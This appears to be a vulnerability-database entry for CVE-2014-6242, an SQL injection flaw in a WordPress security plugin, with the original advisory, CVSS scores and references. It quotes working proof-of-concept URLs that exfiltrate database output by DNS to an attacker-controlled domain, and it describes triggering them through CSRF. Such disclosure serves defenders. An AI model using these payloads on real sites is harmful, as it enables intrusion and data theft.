Sign-up

ID

VAR-201410-1086


CVE

CVE-2014-6242


TITLE

WordPress for All In One WP Security & Firewall In the plugin SQL Injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2014-004988

DESCRIPTION

Multiple SQL injection vulnerabilities in the All In One WP Security & Firewall plugin before 3.8.3 for WordPress allow remote authenticated users to execute arbitrary SQL commands via the (1) orderby or (2) order parameter in the aiowpsec page to wp-admin/admin.php. NOTE: this can be leveraged using CSRF to allow remote attackers to execute arbitrary SQL commands. Also, by abusing Cross-Site Request Forgery, a third party can SQL The command may be executed. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. All In One WP Security & Firewall 3.8.2 is vulnerable; other versions may also be affected. WordPress is a set of blogging platform developed by WordPress Software Foundation using PHP language, which supports setting up personal blogging websites on PHP and MySQL servers. Advisory ID: HTB23231 Product: All In One WP Security WordPress plugin Vendor: Tips and Tricks HQ, Peter, Ruhul, Ivy Vulnerable Version(s): 3.8.2 and probably prior Tested Version: 3.8.2 Advisory Publication: September 3, 2014 [without technical details] Vendor Notification: September 3, 2014 Vendor Patch: September 12, 2014 Public Disclosure: September 24, 2014 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2014-6242 Risk Level: Medium CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in All In One WP Security WordPress plugin, which can be exploited to perform SQL Injection attacks. Both vulnerabilities require administrative privileges, however can be also exploited by non-authenticated attacker via CSRF vector. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "orderby" parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker): http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29 This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with an CSRF exploit, e.g.: http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&order=,%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29 1.2 The vulnerability exists due to insufficient sanitization of user-supplied input passed via the "order" HTTP GET parameters to "/wp-admin/admin.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "order" parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker): http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29 This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. [2] All In One WP Security WordPress plugin - http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin - All round best WordPress security plugin. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References

Trust: 2.07

sources: NVD: CVE-2014-6242 // JVNDB: JVNDB-2014-004988 // BID: 70150 // VULHUB: VHN-74185 // PACKETSTORM: 128419

AFFECTED PRODUCTS

vendor:tips and tricks hqmodel:all in one wordpress security and firewallscope:lteversion:3.8.2

Trust: 1.0

vendor:tips and tricks hqmodel:all in one wp security & firewallscope:ltversion:3.8.3

Trust: 0.8

vendor:tips and tricks hqmodel:all in one wordpress security and firewallscope:eqversion:3.8.2

Trust: 0.6

vendor:wordpressmodel:all in one wp security & firewallscope:eqversion:3.8.2

Trust: 0.3

vendor:wordpressmodel:all in one wp security & firewallscope:neversion:3.8.3

Trust: 0.3

sources: BID: 70150 // JVNDB: JVNDB-2014-004988 // CNNVD: CNNVD-201410-046 // NVD: CVE-2014-6242

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-6242
value: MEDIUM

Trust: 1.0

NVD: CVE-2014-6242
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201410-046
value: MEDIUM

Trust: 0.6

VULHUB: VHN-74185
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2014-6242
severity: MEDIUM
baseScore: 6.5
vectorString: AV:N/AC:L/AU:S/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-74185
severity: MEDIUM
baseScore: 6.5
vectorString: AV:N/AC:L/AU:S/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-74185 // JVNDB: JVNDB-2014-004988 // CNNVD: CNNVD-201410-046 // NVD: CVE-2014-6242

PROBLEMTYPE DATA

problemtype:CWE-89

Trust: 1.9

sources: VULHUB: VHN-74185 // JVNDB: JVNDB-2014-004988 // NVD: CVE-2014-6242

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 128419 // CNNVD: CNNVD-201410-046

TYPE

sql injection

Trust: 0.7

sources: PACKETSTORM: 128419 // CNNVD: CNNVD-201410-046

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2014-004988

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-74185

PATCH
title:All In One WordPress Security and Firewall Pluginurl:http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin
Trust: 0.8
title:All In One WP Security & Firewallurl:https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/changelog/
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2014-004988

EXTERNAL IDS
db:IMMUNIWEBid:HTB23231
Trust: 2.9
db:NVDid:CVE-2014-6242
Trust: 2.9
db:BIDid:70150
Trust: 2.0
db:PACKETSTORMid:128419
Trust: 1.8
db:EXPLOIT-DBid:34781
Trust: 1.7
db:JVNDBid:JVNDB-2014-004988
Trust: 0.8
db:CNNVDid:CNNVD-201410-046
Trust: 0.7
db:XFid:96204
Trust: 0.6
db:VULHUBid:VHN-74185
Trust: 0.1
sources:
            
            
            VULHUB: VHN-74185 // 
            
            
            
            BID: 70150 // 
            
            
            
            JVNDB: JVNDB-2014-004988 // 
            
            
            
            PACKETSTORM: 128419 // 
            
            
            
            CNNVD: CNNVD-201410-046 // 
            
            
            
            NVD: CVE-2014-6242

REFERENCES
url:https://www.htbridge.com/advisory/htb23231
Trust: 2.9
url:http://www.securityfocus.com/bid/70150
Trust: 1.7
url:https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/changelog
Trust: 1.7
url:http://www.exploit-db.com/exploits/34781
Trust: 1.7
url:http://packetstormsecurity.com/files/128419/all-in-one-wp-security-3.8.2-sql-injection.html
Trust: 1.7
url:http://www.securityfocus.com/archive/1/533519/100/0/threaded
Trust: 1.1
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/96204
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6242
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-6242
Trust: 0.8
url:http://xforce.iss.net/xforce/xfdb/96204
Trust: 0.6
url:http://www.securityfocus.com/archive/1/archive/1/533519/100/0/threaded
Trust: 0.6
url:https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/changelog/
Trust: 0.4
url:http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&order=,%28select%20load_file%28concat%28char%2892%29,char%2892%29,%28select%20version%28%29%29,char%2846%29,char%2897%29,char%28116%29,char%28116%29,char%2897%29,char%2899%29,char%28107%29,char%28101%29,char%28114%29,char%2846%29,char%2899%29,char%28111%29,char%28109%29,char%2892%29,char%28102%29,char%28111%29,char%28111%29,char%2898%29,char%2897%29,char%28114%29%29%29%29
Trust: 0.1
url:https://www.htbridge.com/advisory/
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-6242
Trust: 0.1
url:http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin
Trust: 0.1
url:https://www.htbridge.com/immuniweb/
Trust: 0.1
url:http://cwe.mitre.org
Trust: 0.1
url:http://cve.mitre.org/
Trust: 0.1
url:http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28concat%28char%2892%29,char%2892%29,%28select%20version%28%29%29,char%2846%29,char%2897%29,char%28116%29,char%28116%29,char%2897%29,char%2899%29,char%28107%29,char%28101%29,char%28114%29,char%2846%29,char%2899%29,char%28111%29,char%28109%29,char%2892%29,char%28102%29,char%28111%29,char%28111%29,char%2898%29,char%2897%29,char%28114%29%29%29%29
Trust: 0.1
url:http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28concat%28char%2892%29,char%2892%29,%28select%20version%28%29%29,char%2846%29,char%2897%29,char%28116%29,char%28116%29,char%2897%29,char%2899%29,char%28107%29,char%28101%29,char%28114%29,char%2846%29,char%2899%29,char%28111%29,char%28109%29,char%2892%29,char%28102%29,char%28111%29,char%28111%29,char%2898%29,char%2897%29,char%28114%29%29%29%29">
Trust: 0.1
sources:
            
            
            VULHUB: VHN-74185 // 
            
            
            
            BID: 70150 // 
            
            
            
            JVNDB: JVNDB-2014-004988 // 
            
            
            
            PACKETSTORM: 128419 // 
            
            
            
            CNNVD: CNNVD-201410-046 // 
            
            
            
            NVD: CVE-2014-6242

CREDITS
High-Tech Bridge Security Research Lab
Trust: 0.3
sources:
            
            
            BID: 70150

SOURCES
db:VULHUBid:VHN-74185
db:BIDid:70150
db:JVNDBid:JVNDB-2014-004988
db:PACKETSTORMid:128419
db:CNNVDid:CNNVD-201410-046
db:NVDid:CVE-2014-6242

LAST UPDATE DATE
2025-04-13T23:21:24.616000+00:00

SOURCES UPDATE DATE
db:VULHUBid:VHN-74185date:2018-10-09T00:00:00
db:BIDid:70150date:2014-09-24T00:00:00
db:JVNDBid:JVNDB-2014-004988date:2014-10-24T00:00:00
db:CNNVDid:CNNVD-201410-046date:2014-10-10T00:00:00
db:NVDid:CVE-2014-6242date:2025-04-12T10:46:40.837

SOURCES RELEASE DATE
db:VULHUBid:VHN-74185date:2014-10-02T00:00:00
db:BIDid:70150date:2014-09-24T00:00:00
db:JVNDBid:JVNDB-2014-004988date:2014-10-24T00:00:00
db:PACKETSTORMid:128419date:2014-09-25T15:32:27
db:CNNVDid:CNNVD-201410-046date:2014-10-10T00:00:00
db:NVDid:CVE-2014-6242date:2014-10-02T14:55:04.823